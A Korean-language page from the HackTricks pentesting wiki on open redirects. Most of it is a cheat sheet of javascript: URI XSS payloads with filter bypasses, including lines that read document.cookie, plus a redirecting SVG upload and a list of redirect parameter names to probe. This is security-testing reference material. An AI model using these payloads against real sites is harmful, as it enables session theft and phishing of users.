hacktricks/pentesting-web/open-redirect.md

오픈 리다이렉트

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오픈 리다이렉트

로컬호스트 또는 임의의 도메인으로 리다이렉트

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

XSS로의 오픈 리다이렉트

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

SVG 파일을 업로드하는 Open Redirect

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

일반적인 인젝션 매개변수

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

코드 예시

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

자바

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

도구

• https://github.com/0xNanda/Oralyzer

자원

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect에서 퍼징 목록을 찾을 수 있습니다.\
• https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html\
• https://github.com/cujanovic/Open-Redirect-Payloads
• https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

• 회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하고 싶다면 구독 요금제를 확인하세요!
• 공식 PEASS & HackTricks 스왜그를 구매하세요
• The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
• 💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터** 🐦 @carlospolopm를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.